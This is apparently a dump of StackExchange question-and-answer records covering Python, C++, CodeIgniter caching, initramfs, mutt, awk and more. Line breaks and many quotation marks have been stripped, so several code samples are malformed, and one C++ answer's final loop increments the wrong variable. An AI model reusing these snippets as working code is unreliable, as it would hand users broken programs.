                                     else:   757      4750        20272      4.3      1.4                          if obs1 in b:   758       950         4005      4.2      0.3                              if obs2 in b:   759       950         4185      4.4      0.3                                  n11 += 1   760                                                                       else:   761                                                                           n10 += 1   762   763         1            5      5.0      0.0      return n11, n00, n10, n01"  , "title": "Compute stats on two class vectors"  , "tags": "python;algorithm;performance;combinatorics"  , "accepted_answer": "If I understood what you want to do, this would be a more direct way to compute the same result. At least for the test cases provided, the result is indeed the same.def pairwise_indication(part1, part2):    if len(part1) != len(part2):        raise ValueError('Partition shapes do not match')    n11, n00, n10, n01 = 0, 0, 0, 0    for (a1,a2), (b1,b2) in it.combinations(zip(part1, part2), 2):        if a1 == b1:            if a2 == b2:                n11 += 1            else:                n10 += 1        else:            if a2 == b2:                n01 += 1            else:                n00 += 1    return n11, n00, n10, n01On my computer this is 13 times faster than yours.Here's a completely different approach based on the idea that you can partition the partitions with one another (using zip in Python) to obtain a finer partition. (There must be a word for that?) From the size of each subset you can directly calculate the number of pairs that can be formed. Add up the numbers for each partition and subtract the overlap. This is 70 times faster than yours with the given example, and more importantly, operates in linear time, so it scales well to larger data.from collections import Counterdef pairs(n):    '''Calculate number of pairs that can be formed from n items'''    return n * (n - 1) // 2def partition_pairs(partition):    '''Calculate number of pairs in subsets of partition'''    return sum(pairs(x) for x in Counter(partition).values())def pairwise_indication(part1, part2):    n = len(part1)    if n != len(part2):        raise ValueError('Partition shapes do not match')    n11 = partition_pairs(zip(part1, part2))    n10 = partition_pairs(part1) - n11    n01 = partition_pairs(part2) - n11    n00 = pairs(n) - n11 - n10 - n01    return n11, n00, n10, n01"  } 
{  "id": "_softwareengineering.117766"  , "question": "I am a computer science student, and as a result, I was taught C++ as a better version of C with classes. I end up trying to reinvent the wheel whenever a solution to a complex problem is needed, only to find sometime after that, some language feature or some standard library routine could potentially have done that for me. I'm all comfortable with my char* and *(int*)(someVoidPointer) idioms, but recently, after making a (minor) contribution to an open-source project, I feel that is not how one's supposed to think when writing C++ code. It's much different than C is.Considering that I know objected-oriented programming fairly well, and I am okay with a steep learning curve, what would you suggest for me to get my mind on the C++ track when I'm coding C++?"  , "title": "How can I learn to write idiomatic C++?"  , "tags": "c++"  , "accepted_answer": "Based on your comments you know the C++ syntax.You are not coding in C++ but what is often refereed to as C with classes.The C++ tag on stackoverflow is a good place to start, it includes a reading list and FAQ.The only real way to learn is to write code and get experienced user to comment. You can put your code here for review. A good exampleI'm all comfortable with my char* s Stop using them, switch to std::string.and (int)(someVoidPointer) idioms.Stop using them (apart from to interface with C code). Using the functor concept provides several advantages (included the idea of encapsulating state).But recently, after making a (minor) contribution to an OSS project, I feel that is not how you think in C++. It's much different, though C has its own place.Yes. C and C++ have diverged as languages. Though you can use practically the same syntax what is considered good C code is generally not considered good C++ code (or vice verse).Some friends have suggested Accelerated C++, but again I know what types are, and what classes are and what overloading is.You have the very basics down.How can a (mutilated) C++ programmer, who happens to be sound with the OO concepts write idiomatic programs in the language.With a lot of work :-)"  } 
{  "id": "_datascience.12707"  , "question": "Consider I have one dependent variable to predict 'Attitude' which can take three values 'Positive/Negative/Neutral'.I have following independent variables or features- Age, Height, Gender, Income etc. I trying to predict Attitude using decision tree classifier.Attitude ~ Age + Height + Gender + Income (Decision Tree) I am getting >90% accuracy for the when tree depth is 15. As tree is dividing on continuous variables (i.e. Age, Income and Height) again and again to get leaf with pure classes. Is this problem of overfitting? Should I convert the continuous variables into categorical variables (like range classes)? "  , "title": "Should we convert independent continous variables (features) to categorical variable before using decision tree like classifier?"  , "tags": "machine learning;classification;random forest;decision trees;preprocessing"  , "accepted_answer": "There is no need to split continuous variables because the tree already does that automatically. The only way you can test for overfitting is by either using a holdout set or by doing cross validation. If you are overfitting, changing a continuous variable to a categorical variable likely won't make a difference. If you get the sense that you're overfitting, you should reduce the depth of your tree. "  } 
{  "id": "_webmaster.16291"  , "question": "I run a product recommendation engine and I'm hitting a few snags.  I'm looking to see if anyone has any recommendations on what I should do to minimize these issues.Here's how the site works:Users come to the site and are presented with product recommendations based on some criteria.  If a user knows of a product that is not in our system, they can add it by providing the product name and manufacturer.  We take that information, and:Hit one API to gather all the product meta-data (and to validate the product spelling, etc).  If the product is not in this first API, we do not allow it in our system.  Use the information from step 1 to hit another API for pricing information (gathered from many places online).For the sake of discussion, assume that I am searching both APIs in the most efficient/successful manner possible.For the most part, this works very well.  I'd say ~80% of our data is perfectly accurate, but there are a few issues:Sometimes the pricing API (Step 2) doesn't have any information for the product.  The way the pricing API is built, it will always return something (theoretically, the closest possible match), and there's no guarantee that the product name is spelled exactly the same way in both APIs, so there's no automated way of knowing if it's the right product.When the pricing API finds the right product, occasionally it has outdated, or even invalid pricing data (e.g. if it screen-scraped the wrong price from a website).Since the site was fairly small at first, I was able to manually verify every product that was added to the website.  However, the site has grown to the point where this is taking several hours per day, and is just not efficient use of my time.So, my question is:Aside from hiring someone (or getting an intern) to validate all the data manually, what would be the best system of letting my userbase self-manage the data.  Specifically, how can I allow users to edit the data while minimizing the risk of someone ambushing my website, or accidentally setting the data incorrectly."  , "title": "Best way to implement user-powered data validation"  , "tags": "api;data;user input;user generated content"  , "accepted_answer": "Make it a game where people get points for fixing the data (checking that the pricing APIs product is the same, isn't invalid etc.)People with low points don't get awarded them until a number of other users have fixed the data in the same way. As people get more points it needs fewer other people to crosscheck them, until people with very high points don't need checking at all. So it's a bit like reputation on this and the other stackexchange sites.You could reward those with points with tangible things, like discounts on products, early notifications of good deals and so on. You don't want to make those too large, or it's worth them gaming the system and making lots of money."  } 
{  "id": "_unix.92720"  , "question": "The way I understand it, initramfs is responsible for loading the real root filesystem. Now, there are two places where we define that root. First we put an entry in /etc/fstab. Second, we put the device on the kernel boot commands e.g. root=/dev/sda1. Which one does initramfs use to determine where is the root filesystem? If it uses the root kernel parameter, why do we have an entry in /etc/fstab? The second option, (it reads /etc/fstab), is quite illogical because the /etc/fstab file is on the very root device that initramfs is trying to mount in the first place. Very confusing stuff."  , "title": "Does initramfs use /etc/fstab?"  , "tags": "boot;fstab;initramfs"  , "accepted_answer": "As you stated, the purpose of initramfs is to get the real root filesystem mounted (it can do other things too, but this is the common task).Without an initramfs, the kernel will normally mount a partition up as read-only and then pass control over to /sbin/init. An initramfs just takes over this task from the kernel, usually when the root filesystem isn't a normal partition (mdraid, lvm, encrypted, etc).Now, aside from the background on initramfs, your /etc/fstab resides on your root filesystem. As such, when initramfs is launched, that root filesystem isn't there, and so it can't get to the fstab (chicken and egg problem).Instead we have to pass a parameter into the kernel boot arguments for the initramfs to use. Normally this is something like root=/dev/sdX. However it  might also do something to automatically figure out where your root device is, and so there's no parameter at all. Since it's just software (generally a script), it can really do anything it wants for mounting the root device.Now, as stated earlier, the kernel will mount the real root as read-only. The initramfs should do exactly this. Once the initramfs is done, the system proceeds booting exactly as if there were no initramfs at all, and /sbin/init starts up. This init then starts all your normal boot scripts, and it's the job of one of these scripts to read /etc/fstab, switch root to read-write, and mount all your other filesystems."  } 
{  "id": "_scicomp.16396"  , "question": "I have seen videos like this before in the past of things like 3D Mandlebulbs and similar fractal sets, but can anyone tell me what sorts of programs are actually used create these visualizations? How computationally expensive are these visualizations to make? Also, what sort of simulations are these? I mean, what sort of coordinate system, or mesh, are these sorts of structures realized on? I have most of my experience with computational simulations in FORTRAN, Python, and Matlab, and I just don't see how you would even begin to undertake creating the data to produce these sorts of visualizations in those languages. Thanks."  , "title": "How-to: Epic visualizations of 3D fractals?"  , "tags": "visualization"  } 
{  "id": "_codereview.171705"  , "question": "CodeIgniter has a query caching class that is initiated in the query function of the DB_driver class. Originally it was designed to store queries associated with a specific controller by using URI segments (segment 1 + segment 2). I found this a rather strange implementation if one is running both the frontend and backend on the same installation of CI. This meant backend files would be stored in the cache folder like admin+projects whereas frontend cache files would be stored like projects.There is a seemingly little know variable (cache_autodel) that exists in the driver source code that allows any non-returning query (INSERT, UPDATE, DELETE .etc.) to trigger a deletion event of the cache files associated with the particular controller e.g. admin+projects but it doesnt delete those in the projects cache folder even though the database has changed rendering the cache results obsolete. Thus you are left with having to either manually delete the cache files, or implement a routine in every INSERT, UPDATE .etc. to take care of deleting these files. Since the files can only be found by controller and not another identifier it is literally a mess to take care of.What I did was the following:Kept the cache files naming the same as CIs implementation that involved md5ing the SQL statement, but organized the files in subfolders not by controller, but by table name.Implemented triggers after INSERT, UPDATE, DELETE for all my tables that would add a master last_modified = NOW() to a database table with fields: table_id, table_name and last_modifiedFor read caches: compared the master last_modified for a table against the creation/modified time of a cache file to determine if it needs to be deleted or not. If not, returned the cache file.Code:class CI_DB_Cache{    /**     * CI Singleton     *     * @var object     */    public $CI;    /**     * Database object     *     * Allows passing of DB object so that multiple database connections     * and returned DB objects can be supported.     *     * @var object     */    public $db;    /**     * Constructor     *     * @param   object  &$db     * @return  void     */    public function __construct(&$db)    {        // Assign the main CI object to $this->CI and load the file helper since we use it a lot        $this->CI = & get_instance();        $this->db = & $db;        $this->CI->load->helper('file');        $this->check_path();    }    /**     * Set Cache Directory Path     *     * @param   string  $path   Path to the cache directory     * @return  bool     */    public function check_path($path = '')    {        if ($path === '') {            if ($this->db->cachedir === '') {                return $this->db->cache_off();            }            $path = $this->db->cachedir;        }        // Add a trailing slash to the path if needed        $path = realpath($path) ? rtrim(realpath($path), DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR : rtrim($path, '/') . '/';        if (!is_dir($path)) {            log_message('debug', 'DB cache path error: ' . $path);            // If the path is wrong we'll turn off caching            return $this->db->cache_off();        }        if (!is_really_writable($path)) {            log_message('debug', 'DB cache dir not writable: ' . $path);            // If the path is not really writable we'll turn off caching            return $this->db->cache_off();        }        $this->db->cachedir = $path;        return TRUE;    }    /**     * Gets table name from SQL statement     *      * @param SQL statement $sql     * @return string or null     */    private function get_table_name($sql)    {        $pattern = /FROM `(.*?)`/;        preg_match($pattern, $sql, $matches);        return isset($matches[1]) ? $matches[1] : null;    }    /**     * Returns the strtotime equivalent of the last_modified field     * for a given table     *      * @param string $table     * @return boolean || int     */    private function get_last_modified($table)    {        $res = $this->db->simple_query(SELECT `last_modified` FROM `master_table_modified` WHERE `table_name` = '{$table}');        if ($res !== true && $res->num_rows !== 1) {            return false;        }        return strtotime($res->fetch_row()[0]);    }    /**     * Retrieve a cached query     *      * Cache sub-folder is the name of the table     *     * @param   string  $sql     * @return  string     */    public function read($sql)    {        $table = $this->get_table_name($sql);        if (is_null($table)) {            return false;        }        $filepath = $this->db->cachedir . $table . DS . md5($sql);        $table_last_modified = $this->get_last_modified($table);        if ($table_last_modified === FALSE) {            return false;        }        if (!is_file($filepath)) {            return false;        }        // check table last modified against file modified time        if ($table_last_modified > filemtime($filepath)) {            @unlink($filepath);            return false;        }        if (FALSE === ($cachedata = file_get_contents($filepath))) {            return false;        }        return unserialize($cachedata);    }    // --------------------------------------------------------------------    /**     * Write a query to a cache file     *     * @param   string  $sql     * @param   object  $object     * @return  bool     */    public function write($sql, $object)    {        $table = $this->get_table_name($sql);        if (is_null($table)) {            return false;        }        $dir_path = $this->db->cachedir . $table . DS;        $filename = md5($sql);        if (!is_dir($dir_path) && !@mkdir($dir_path, 0750)) {            return FALSE;        }        if (write_file($dir_path . $filename, serialize($object)) === FALSE) {            return FALSE;        }        chmod($dir_path . $filename, 0640);        return TRUE;    }    // --------------------------------------------------------------------    /**     * Delete cache files within a particular directory     *      * @depreciated     */    public function delete($segment_one = '', $segment_two = '')    {        return;    }    // --------------------------------------------------------------------    /**     * Delete all existing cache files     *     * @return  void     */    public function delete_all()    {        delete_files($this->db->cachedir, TRUE, TRUE);    }}Notes:Since the only statements worth caching in my app are SELECTs itsrather easy to find the table name from an SQL statement using regex.If one is solely using query builder you could easily assign thetable name to a variable accessible in the driver class and then passit to the cache class, but I sometimes just use the$this->db->query() function straight off.MyISAM tables generate last modified by default. But INNODB (what Imusing) only stores this in the database schema in MySQL 5.7+ (Im on  5.6)Results:Seemingly the same load times as with just the regular cache class. Benefits of not creating additional files for overlapping queries in the same table."  , "title": "CodeIgniter cache replacement"  , "tags": "php;codeigniter"  } 
{  "id": "_cs.18312"  , "question": "I've got 30 elements which has to be  grouped/sorted into 10 ordered 3-tuple. There are several rules and constraints about grouping/sorting.For example: Element $A$ must not be in the same tuple same unit $B$. Element $C$ must not be right in front of element $A$, etc.I am searching for an approximated algorithm:We don't need to achieve the exact optimum It is OK for some rules not to be satisfied, if it helps to fulfill more rules.Do you know of any algorithm/proceeding that solve this problem or a similar one?I fear to solve it in an optimal way, you have to try out every possible solution-> $2 ^ {30}$EDIT: Sorry for the bad explanation. I am trying to make it a bit clearer:I got 30 elements for example: $\\{1,2,3,\\ldots,30\\}$.I need to group them into 3-tuples so that i get something like: $(1,2,3)$, $(4,5,6)$,$\\ldots$,$(28,29,30)$.There are several constraints. For example: 1 cannot precede 2 in an ordered tuple, so, for instance  $(1,2,3)$ is not a valid tuple.5 must be together with 4. Those constraints can be broken and its possible that there is no solution where all rules can be fulfilled. An solution is considered as good if the amount of rules broken is low.Hope that makes it clearer and thanks for the help so far."  , "title": "Algorithm for sorting with constraints"  , "tags": "algorithms;sorting;randomized algorithms;greedy algorithms"  , "accepted_answer": "Just to let anyone know, who got a similiar problem.I found genetic algorithm as an solution to it.Create a population by creating multiple individuals. This is done by setting the elements on a random spot in a vector.Generating the fitness of the individuals by checking how many rules are broken. The fitness is reduced by 1 per rule broken.Checking if the solution is acceptable(Either fitness = 0 or termination criteria satisfied)Doing tournament selection with suitable size(i chosed 3) on the population-> Getting the tournament winner-> Reproduct it, Mutate it or 1-Point-Crossover 2 of them and add it to the limbo.-> Repeat 4. till the limbo got population sizeGoto 3.Hope you get the idea of it. Thanks for the comments on the original question.If you got any question, feel free to ask."  } 
{  "id": "_unix.290331"  , "question": "I'd like to attach some files in mutt's compose screen. I press a to attach. However, if I paste in a path with spaces, it eats the spaces up. Similarly, if I drag and drop a GUI icon into my terminal, it will similarly eat up the spaces.Invariably, I mess around a few times, then manually type out (with tab-complete) the entire path. How can I easily attach files from within mutt?"  , "title": "In mutt, how can I easily attach files which contain spaces in their name?"  , "tags": "mutt"  , "accepted_answer": "You can change the key bindings of the line editor prompt to make Space insert a space. By default, it invokes buffy-cycle, which cycles through completion possibilities or offers a completion menu. You can rebind this to another key, for example Alt+Space (I think mutt can't handle Ctrl+Space which the terminal transmits as a null byte).macro editor <space> \\Cv bind editor \\e\\  buffy-cycleAs far as I know, you can't have different key bindings for different kinds of prompts. You can change key bindings dynamically by calling bind in hooks, but I don't think there's a hook that runs at the right time.Alternatively (or in addition), you can define a macro in the compose menu that attaches a file whose name is in the clipboard.macro compose \\Ca <attach-file>`xsel -b | sed s/ /$(printf \\\\026)&/g`<enter>"  } 
{  "id": "_codereview.131879"  , "question": "Recently, i have been indulging in a lot of codility challenges to improve my coding performance. For each of this exercise, I always aim for simple solutions as opposed to complicated ones that arrive at the same answer . The question isTwo positive integers N and M are given. Integer N represents the number of chocolates arranged in a circle, numbered from 0 to N  1.You start to eat the chocolates. After eating a chocolate you leave only a wrapper.You begin with eating chocolate number 0. Then you omit the next M  1 chocolates or wrappers on the circle, and eat the following one.More precisely, if you ate chocolate number X, then you will next eat the chocolate with number (X + M) modulo N (remainder of division).You stop eating when you encounter an empty wrapper.For example, given integers N = 10 and M = 4. You will eat the following chocolates: 0, 4, 8, 2, 6.The goal is to count the number of chocolates that you will eat, following the above rules.Write a function:class Solution { public int solution(int N, int M); }that, given two positive integers N and M, returns the number of chocolates that you will eat.For example, given integers N = 10 and M = 4. the function should return 5, as explained above.Assume that:N and M are integers within the range [1..1,000,000,000].  Complexity:expected worst-case time complexity is O(log(N+M));  expected worst-case space complexity is O(log(N+M))I am  aware  a similar questions has been asked in java ChocolatesByNumbersbut my question is more directed to C#public static int PrintNChocolatesInaCircle(int N, int M){    int counter = 1;    int start = 0;    int value;    while ((start + M) % N != 0)    {        value = (start + M) % N;        start = value;        counter++;    }    return counter;}Codility scored my code in terms of Correctness 100% but in terms of performance, it takes longer time to process large elements e.g N = (3^9)(2^14), M=(2^14)(2^14) for a large element and going a bit higher the performance declines."  , "title": "ChocolatesByNumbers- Find the number of N chocolates in a circle"  , "tags": "c#;programming challenge"  , "accepted_answer": "I think to brute force this kind of question is the wrong path to take to begin with.Quoting the wikipedia on Brute Force Search : While a brute-force search is simple to implement, and will always find a solution if it exists, its cost is proportional to the number of candidate solutions  which in many practical problems tends to grow very quickly as the size of the problem increases. Therefore, brute-force search is typically used when the problem size is limited, or when there are problem-specific heuristics that can be used to reduce the set of candidate solutions to a manageable size. The method is also used when the simplicity of implementation is more important than speed.As @WinstonEwert has pointed out, the number of chocolates that you can eat, is related to the least common multiplier. And, here is one fast way of computing it making use of the Euclidean Algorithm :static int gcf(int a, int b){    while (b != 0)    {        int temp = b;        b = a % b;        a = temp;    }    return a;}static int lcm(int a, int b){    return (a / gcf(a, b)) * b;}Credit to @AffluentOwl's answerHowever, LCM is not the final answer, but it is the number of chocolate that we care, we have to divide lcm by M. And, we can simplify all this :public static int PrintNChocolatesInaCircle(int N, int M){    // these already have a known answer    if (M == 1) return N;    if (M == N) return 1;    int a = N, b = M;    while (b != 0)    {        var temp = b;        b = a % b;        a = temp;    }    return N / a;}Lastly, make sure you respect the requirements : Write a function:class Solution { public int solution(int N, int M); }"  } 
{  "id": "_softwareengineering.285832"  , "question": "During creation of new Github repository I could choose license under which my project will be hosted on Github. I didn't do that because Github suggested only few licenses to choose (and WTFPL wasn't on the list). However, after repository was created I cannot find any option to indicate either WTFPL license or any other.Is it possible to setup license for my repo after it was created on GitHub?"  , "title": "How can I setup custom license for my github repository?"  , "tags": "licensing;github"  , "accepted_answer": "Absolutely. Create a new file called LICENSE and put your terms in there. For quick adding of the license you can use addalicense.com or manually push the file to GitHub using various tools. (or quickly via the GUI)License file names are normally; LICENSE, LICENSE.txt, LICENSE.md"  } 
{  "id": "_cstheory.27280"  , "question": "Most current cryptography methods depend on the difficulty of factoring numbers that are the product of two large prime numbers. As I understand it, that is difficult only as long as the method used to generate the large primes cannot be used as a shortcut to factoring the resulting composite number (and that factoring large numbers itself is difficult).It looks like mathematicians find better shortcuts from time to time, and encryption systems have to be upgraded periodically as a result. (There's also the possibility that quantum computing will eventually make factorization a much easier problem, but that's not going to catch anyone by surprise if the technology catches up with the theory.)Some other problems are proven to be difficult. Two examples that come to mind are variations on the knapsack problem, and the traveling salesman problem.I know that MerkleHellman has been broken, that NasakoMurakami remains secure, and that knapsack problems may be resistant to quantum computing. (Thanks, Wikipedia.) I found nothing about using the traveling salesman problem for cryptography.So, why do pairs of large primes seem to rule cryptography?Is it simply because the it is currently easy to generate pairs of large primes that are easy to multiply but difficult to factor?Is it because factoring pairs of large primes is proven to be difficult to a predictable degree that is good enough?Are pairs of large primes useful in a way other than difficulty, such as the property of working for both encryption and cryptographic signing?Is the problem of generating problem sets for each of the other problem types that are difficult enough for the cryptographic purpose itself too difficult to be practical?Are the properties of other problem types insufficiently studied to be trusted?Other."  , "title": "Why does most cryptography depend on large prime number pairs, as opposed to other problems?"  , "tags": "cr.crypto security;primes"  } 
{  "id": "_cs.12405"  , "question": "Is there any convex hull algorithm that can be extended to non-euclidean metric, such as the geodesic distance on the surface of a sphere?"  , "title": "Convex Hull on a Spherical Surface"  , "tags": "algorithms;computational geometry"  } 
{  "id": "_reverseengineering.12530"  , "question": "Is there an easy to convert assembly (ARM) to C code?"  , "title": "How to convert assembly to C code"  , "tags": "assembly;c;arm"  } 
{  "id": "_webapps.86377"  , "question": "Is there a way to populate a dropdown list differently depending on the values of another cell? For example, the dropdown in A2 contains Movies and Sports. I want the dropdown in A3 to have Horror and Romance in its dropdown selection if I select Movies in A2 and Baseball and Basketball if I select SportsHow can I achieve this? "  , "title": "Is there a way to dynamically populate a dropdown depending on the value of other cells?"  , "tags": "google spreadsheets;data validation"  , "accepted_answer": "You could make the second validation list an if/then statement dependent on the answer to the first one.=if(A1=Movies,Horror,Baseball)=if(A1=Movies,Romance,Basketball)An example is here."  } 
{  "id": "_unix.55604"  , "question": "I'm trying to runhaxelib run nme setup linuxTo set up NME for the Linux target on my Debian box. Actually Linux MINT Debian Edition, but that shouldn't matter. However, I get the following output:E: Unable to locate package ia32-libs-multiarchCalled from ? line 1Called from InstallTool.hx line 579Called from setup/PlatformSetup.hx line 440Called from setup/PlatformSetup.hx line 474Called from setup/PlatformSetup.hx line 1410Called from helpers/ProcessHelper.hx line 133Called from helpers/ProcessHelper.hx line 169Uncaught exception - Error running: sudo apt-get install ia32-libs-multiarch gcc-multilib g++-multilib []I also tried to run:sudo apt-get install ia32-libs-multiarchBut I getE: Unable to locate package ia32-libs-multiarchIs this an Ubuntu specific package?Edit: I got this to work eventually, without installing that package or any other. Unfortunatly I don't remember what it was I did. If someone finds this and has the same problem give this question some attention and I will try again.."  , "title": "nme for linux target setup fails on debian"  , "tags": "linux;ubuntu;debian"  } 
{  "id": "_unix.240136"  , "question": "I have a file which has many random lines likeaaa bbbccc dddeee mark: 98 fffggg ggg jjjj iiijjj kkkkI want to use awk AND only gensub to match the number 98 above. So far I have this code below, I think it does not work cause I need to make gensub treat \\n as any other character.cat file.txt | awk 'printf(gensub(/^.*mark: ([0-9]+).*$/,\\\\1,g))}'I need the output of the code above to be only 98. How do I do that?EDITeven when I use the s or m modifier it does not work as it should cause as far as I know the s modifier should make regex treat . as any character including \\n."  , "title": "gensub on multiple lines"  , "tags": "text processing;awk"  , "accepted_answer": "You seem to think that awk treats its input as a multiline string. It doesn't. When you run an awk script on a file, the script is applied to each line of the file separately. So, your gensub was run once per line. You can actually do what you want with awk but it really isn't the best tool for the job. As far as I can tell, you have a large file and only want to print a number that comes after mark: and whitespace. If so, all of these approaches are simpler than fooling around with gensub:Use grep with Perl Compatible Regular Expressions (-P)$ grep -oP 'mark:\\s*\\K\\d+' file 98The -o makes grep only print the matching portion of the line. The \\K is a PCRE construct which means ignore anything matched before this point.sed$ sed -n 's/.*mark:\\s*\\([0-9]\\+\\).*/\\1/p' file98The -n suppresses normal output. The p at the end makes sed print only if the substitution was successful. The regex itself captures a string of numbers following mark: and 0 or more whitespace characters and replaces the whole line with what was captured. Perl$ perl -ne 'print if s/.*mark:\\s*(\\d+).*/$1/' file98The -n tells perl to read an input file line by line and apply the script given by -e. The script will print any lines where the substitution was successful.If you really, really want to use gensub, you could do something like:$ awk '/mark:/{print gensub(/.*mark:\\s*([0-9]+).*/,\\\\1,g)}' file98Personally, I would do it this way in awk:$ awk '/mark:/{gsub(/[^0-9]/,);print}' file98Since you seemed to be trying to get awk to receive multiline input, this is how you can do that (assuming there are no NULL characters in your file):$ awk '{print(gensub(/^.*mark: ([0-9]+).*$/,\\\\1,g))}' RS='\\0' file98The RS='\\0' sets the input record separator (that's what defines a line for awk) to \\0. Since there are no such characters in your file, this results in awk reading the whole thing at once. "  } 
{  "id": "_codereview.59827"  , "question": "I have been reading Clean Code and decided to start working problems on Codechef.com attempting to apply some of what I have learned.Do I seem to be on the right track or am I way off?The challenge is to find the number of trailing zeroes in the decimal form of N!, where 1N109.I am more concerned with the coding style than the way I solved the problem but any comments are appreciated.#include <iostream>#include <vector>int requestNumInts();bool validateInputSize(const int totalNumInts);std::vector<int>* createVector(int totalNumInputs);void loadVector(std::vector<int>* numbersEntered);void printNumTrailingZeros(const std::vector<int>* numbersEntered);int findTrailingZeros(int numberToCalculateZeros);int main() {        std::ios::sync_with_stdio(false);    std::vector<int>* numbers;    numbers = createVector(requestNumInts());           loadVector(numbers);    printNumTrailingZeros(numbers);    delete numbers;    return 0;}int requestNumInts() {    int totalNumInts = 0;    while(!validateInputSize(totalNumInts))    {        std::cin >> totalNumInts;       }       return totalNumInts;}bool validateInputSize(const int totalNumInts) {    const int MAX_NUMBER_OF_INPUTS = 1000000000;    const int MIN_NUMBER_OF_INPUTS = 1;    if(totalNumInts >= MIN_NUMBER_OF_INPUTS && totalNumInts <= MAX_NUMBER_OF_INPUTS) {        return true;    }    else {        return false;    }}std::vector<int>* createVector(int totalNumInts) {                  std::vector<int>* numbers = new std::vector<int>(totalNumInts);         return numbers;}void loadVector(std::vector<int>* numbersEntered) {    for(unsigned int count = 0; count < numbersEntered->size(); ++count) {        std::cin >> (*numbersEntered)[count];       }}void printNumTrailingZeros(const std::vector<int>* numbersEntered) {    for(unsigned int count = 0; count < numbersEntered->size(); ++count) {        std::cout << findTrailingZeros((*numbersEntered)[count]) << std::endl;    }}int findTrailingZeros(int numberToCalculateZeros) {    int totalTrailingZeros = 0;     const int FACTOR = 5;    while(numberToCalculateZeros >= FACTOR) {        numberToCalculateZeros /= FACTOR;        totalTrailingZeros += numberToCalculateZeros;    }    return totalTrailingZeros;}"  , "title": "Clean code attempt on codechef.com FCTRL"  , "tags": "c++;beginner;programming challenge"  , "accepted_answer": "Code Reviewint requestNumInts();bool validateInputSize(const int totalNumInts);std::vector<int>* createVector(int totalNumInputs);void loadVector(std::vector<int>* numbersEntered);void printNumTrailingZeros(const std::vector<int>* numbersEntered);int findTrailingZeros(int numberToCalculateZeros);Personally I like to align the function names (this makes it easier to read). This is purely personal. Some like it some don't.int               requestNumInts();bool              validateInputSize(const int totalNumInts);std::vector<int>* createVector(int totalNumInputs);void              loadVector(std::vector<int>* numbersEntered);void              printNumTrailingZeros(const std::vector<int>* numbersEntered);int               findTrailingZeros(int numberToCalculateZeros);Now that I have lined it up two things sprint to mind.You are returning a vector by pointer (that's not good as there is no ownership semantics (who deletes it)). You should probably return by value. The optimizer will remove any copying and it prevents memory leaks. You can then pass the vector by reference to prevent copying in other situations.You seem to be writing C code. If you implements this inside an object then a lot of you parameters don't need to be passed they are part of the object that is being manipulated.Nice:    std::ios::sync_with_stdio(false);Pointer. Boo. Bad.    std::vector<int>* numbers;It is rare to see RAW pointers in C++ code. Pointers are usually wrapped inside smart pointers. But in this case you don't even need a pointer just use a normal std::vector as an object in place.    std::vector<int> numbers = createVector(requestNumInts());Using a delete is risky.    delete numbers;It is hard to tell if numbers was dynamically allocated! You actually have to go and look that up in the function createVector(). So if you change createVector() you also need to go through your code and find every place that calls createVector() to make sure they also use it correctly. Also its not exception safe. If an exception propagates through your code then you leak memory.The main() function is special. If you don't specify a return then the compiler generates a return 0; for you. If your code can do nothing else apart from exit successfully then leave the return 0; out to indicate that there are no failure states. If there are error exit states then return 0; is an indication that the reader of the code should look for exit failures attempts.Here:int requestNumInts() {    int totalNumInts = 0;    while(!validateInputSize(totalNumInts))    {        std::cin >> totalNumInts;       }       return totalNumInts;}The first attempt will always fail. So why not use a do {} while() loop. This is designed for this situation. You always execute the code before doing the test.Avoid if conditions that return true/false.bool validateInputSize(const int totalNumInts) {    const int MAX_NUMBER_OF_INPUTS = 1000000000;    const int MIN_NUMBER_OF_INPUTS = 1;    if(totalNumInts >= MIN_NUMBER_OF_INPUTS && totalNumInts <= MAX_NUMBER_OF_INPUTS) {        return true;    }    else {        return false;    }}The above can be written as:Much more readable.    return (totalNumInts >= MIN_NUMBER_OF_INPUTS)        && (totalNumInts <= MAX_NUMBER_OF_INPUTS);Don't create the vector with new.std::vector<int>* createVector(int totalNumInts) {                  std::vector<int>* numbers = new std::vector<int>(totalNumInts);         return numbers;}RVO and NRVO will remove the copy that happens when you return by value. Also with C++11 and move semantics this makes this even more efficient. So never do this.Also this whole function can be replaced with just a simple declaration in main.Much simpler and more readable.std::vector<int>   numbers(requestNumInts());Good try:void loadVector(std::vector<int>* numbersEntered) {    for(unsigned int count = 0; count < numbersEntered->size(); ++count) {        std::cin >> (*numbersEntered)[count];       }}Couple of different ways to do this:// Use the new foreach keywordfor(auto& val: numbers){    std::cin >> val;}// Using iterators.for(auto loop = numbers.begin(); loop != numbers.end(); ++loop){    std::cint >>  (*loop);}// Or we can use the old classic C++03 std::transformstd::transform(std::begin(numbers), std::end(numbers),               std::istream_iterator<int>(std::cin),               std::begin(numbers),               [](int& /*val1*/, int& val2){ return val2;});Again nice effort with the printing.void printNumTrailingZeros(const std::vector<int>* numbersEntered) {    for(unsigned int count = 0; count < numbersEntered->size(); ++count) {        std::cout << findTrailingZeros((*numbersEntered)[count]) << std::endl;    }}Again some other options:// Use the new foreach keywordfor(auto& val: numbers){    std::cout << findTrailingZeros(val) << \\n;}// Using iteratorsfor(auto loop = numbers.begin(); loop != numbers.end(); ++loop){    std::cout << findTrailingZeros(*loop) << \\n;}// Or we can use the old classic C++03 std::for_eachstd::for_each(std::begin(numbers), std::end(numbers),              [](int val){ std::cout << findTrailingZeros(val) << \\n;});Also note the use of \\n rather than std::endl. The std::endl adds a \\n to the stream but then also calls flush. This is hardly ever what you actually want to do. Let the stream flush itself it makes it much more efficient to do so. In your loops get used to use iterators to loop over containers. They are much more versatile and apply to all containers. Also you can pass them to functions very easily and they allow you to specify sub-ranges very trivially (event the foreach uses iterators underneath).How I would do it.First note that the output does not depend on previous values. You could cache them for speedy look-up but that seems overkill for such a simple algorithm. So there is no need to store the data in a vector. #include <iostream> int main() {     std::ios::sync_with_stdio(false);     int count;     std::cin >> count;     for(int loop=0; loop < count; ++count)     {          int value;          std::cin >> value;          std::cout << LeadingZero(value) << \\n;     } }"  } 
{  "id": "_vi.9740"  , "question": "I set my mapleader to Space as :let mapleader = \\<Space> and use it in command mode quite often. But when I hold it it makes the cursor to move forward which is very annoying.QUESTION: Is there a way to unbind Space in normal mode?"  , "title": "Unbind Space in normal mode"  , "tags": "key bindings;vimrc"  } 
